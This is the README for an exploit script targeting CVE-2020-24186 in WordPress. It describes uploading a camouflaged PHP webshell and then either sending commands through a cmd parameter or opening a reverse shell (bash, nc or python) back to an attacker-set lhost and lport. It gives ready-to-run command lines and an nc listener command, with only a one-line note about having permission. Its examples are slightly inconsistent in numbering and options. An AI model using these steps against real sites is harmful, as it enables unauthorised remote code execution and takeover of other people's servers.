CVE-2020-24186

This script exploits the CVE-2020-24186 vulnerability in WordPress to upload a camouflaged PHP payload and obtain a shell on the target system. There are three modes of operation:

1. Interactive Shell:
   Uploads the basic webshell and enters an interactive mode, allowing you to send commands through the cmd parameter.

2. Manual Reverse Shell:
   Uploads the webshell and sends the reverse shell payload, but does not automatically launch a listener. You must manually start your own listener on the specified IP and port.

3. Reverse Shell with pwntools:
   Uploads the webshell, sends the reverse shell payload, and the script automatically launches a listener using pwntools to capture the reverse connection.

Requirements

• Python 3.x
• Python libraries:
  • requests
  • pwn (pwntools)
• (Optional) Proxy configuration if you want to route the traffic (e.g., for testing with Burp Suite).

Usage Options

• --url: Base URL of the target site (e.g., http://10.10.110.119).
• --blogpath: Path to the post (default: /?page=1).
• --mode: Mode of operation, either interactive or reverse.
• --lhost: Local IP for the reverse shell (required in reverse mode).
• --lport: Local port for the reverse shell (required in reverse mode).
• --reverse_method: Reverse shell method: bash, nc, or python (default is bash).
• --manual: When used in reverse mode, the script will not launch the listener; you must start your own listener manually.
• --use-proxy: If set, requests will be sent through the configured proxy.

Examples

1. Interactive Shell

Upload a webshell and start an interactive session to send commands:

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode interactive --use-proxy

2. Reverse Shell in Manual Mode

Upload the webshell, send the reverse shell payload, but do not automatically start a listener. Start your own listener manually (e.g., using netcat):

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode reverse --lhost 10.10.1.1 --lport 9002 --reverse_method bash --manual --use-proxy

Then, in another terminal, start your listener manually:

nc -lvnp 9002

1. Reverse Shell with pwntools

Upload the webshell, send the reverse shell payload, and have the script automatically launch a listener with pwntools to capture the connection:

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode reverse --lhost 10.10.1.1 --lport 9002 --reverse_method bash --use-proxy

The script will wait for a connection on 10.10.1.1:9002 and, once connected, provide an interactive shell.

Notes Ensure the target site is vulnerable to CVE-2020-24186 and that you have the necessary permissions for security testing. You can modify the PHP payload using the --php_payload option if adjustments are needed. Double-check the proxy settings if you use the --use-proxy flag.